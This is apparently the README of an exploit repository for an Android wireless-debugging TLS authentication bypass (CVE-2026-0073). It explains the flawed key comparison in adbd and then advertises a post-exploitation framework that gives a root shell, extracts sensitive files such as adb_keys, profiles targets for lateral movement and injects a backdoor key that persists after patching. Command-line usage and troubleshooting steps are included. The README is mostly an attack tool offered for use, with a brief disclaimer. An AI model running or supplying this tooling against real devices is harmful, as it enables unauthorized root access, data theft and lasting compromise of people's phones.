针对无线 ADB TLS 认证绕过漏洞的武器化概念验证。 由 Barghest 发现,devtint 武器化 PoC。
CVE-2026-0073 是 Android 调试桥守护进程(adbd)中的一个严重加密逻辑缺陷,可让同一本地网络上的未认证攻击者获得零点击远程 root 访问权限。
本仓库包含:
adb_tls_auth_bypass.py — 针对 STLS/TLS 认证绕过的简洁独立 PoC。main.py — 最大化利用框架,具备自动化信息收集、工件提取和持久化注入功能。该漏洞存在于 daemon/auth.cpp 中的 adbd_tls_verify_cert() 函数内。当客户端通过**无线 ADB(STLS 路径)**连接时,会进行相互 TLS 1.3 握手。设备使用 OpenSSL 的 EVP_PKEY_cmp() 将客户端的公钥与存储的授权密钥进行比较。
// daemon/auth.cpp — 存在漏洞的逻辑
if (EVP_PKEY_cmp(stored_key, client_key)) {
// EVP_PKEY_cmp 返回值:
// 1 = 密钥匹配
// 0 = 密钥不同
// -1 = 类型不匹配(RSA 与 EC) ← 缺陷:在 C++ 中为真值
authorized = true;
}
EVP_PKEY_cmp() 返回 -1(类型不匹配)。-1 会被求值为 true。adbd 逻辑将此 -1 解释为完全匹配。此漏洞仅适用于无线调试 STLS 路径,不适用于传统的 adb tcpip 路径。
| 连接模式 | 端口 | 协议 | 存在漏洞? |
|---|
192.168.1.34:38741)这意味着您正在连接传统 ADB TCP 端口(通常为 5555)。传统路径使用旧的 RSA AUTH 握手 — 这是 adbd 中完全不同的代码路径,不受此 CVE 影响。您必须改为连接无线调试端口。
该框架(main.py)将核心 TLS 绕过扩展为模块化后渗透工具包:
uid=0(root) 伪终端。--profile): 即时识别目标操作系统、安全补丁级别、SELinux 强制模式以及用于内网横向移动的活动路由表。--extract): 通过绕过套接字自动窃取高度敏感的系统文件(例如,/data/misc/adb/adb_keys、/system/build.prop)。--persist): 将恶意 RSA 公钥注入目标的授权密钥文件中。注入后,即使该 CVE 日后被修补,攻击者仍可保留永久、完全认证的访问权限。安装依赖:
pip install cryptography
定位目标: 在本地子网上找到已启用无线调试的 Android 设备。记下设备开发者选项屏幕上的动态端口。
执行漏洞利用框架:
# 交互式 Shell(默认)
python main.py <IP> <PORT>
# 单条命令执行
python main.py <IP> <PORT> --cmd "id"
# 自动化系统信息收集
python main.py <IP> <PORT> --profile
# 隐蔽工件提取
python main.py <IP> <PORT> --extract
# 注入永久后门密钥
python main.py <IP> <PORT> --persist
独立 PoC(最小化):
python adb_tls_auth_bypass.py <IP> <PORT> --cmd "id; whoami"
本仓库严格仅用于教育、红队和授权安全测试目的。未经授权访问计算机系统属于违法行为。作者对滥用此信息不承担任何责任。
adb tcpip 5555(传统) | 5555(固定) | AUTH(RSA 挑战) | ❌ 否 |
| 无线调试(Android 11+) | 随机(30000–50000) | STLS → TLS 1.3 | ✅ 是 |
| 错误 | 原因 | 修复方法 |
|---|
Connection refused | 端口已关闭 / 无线调试已关闭 | 启用无线调试,使用正确的动态端口 |
AUTH instead of STLS | 连接到传统 ADB TCP(端口 5555) | 使用无线调试端口,而非 5555 |
SSLV3_ALERT_CERTIFICATE_UNKNOWN | 设备已修补(2026 年 5 月+) | 目标不存在漏洞 — 修复已生效 |
timed out | 端口已打开但响应不正确 | 验证端口,在设备上重启无线调试 |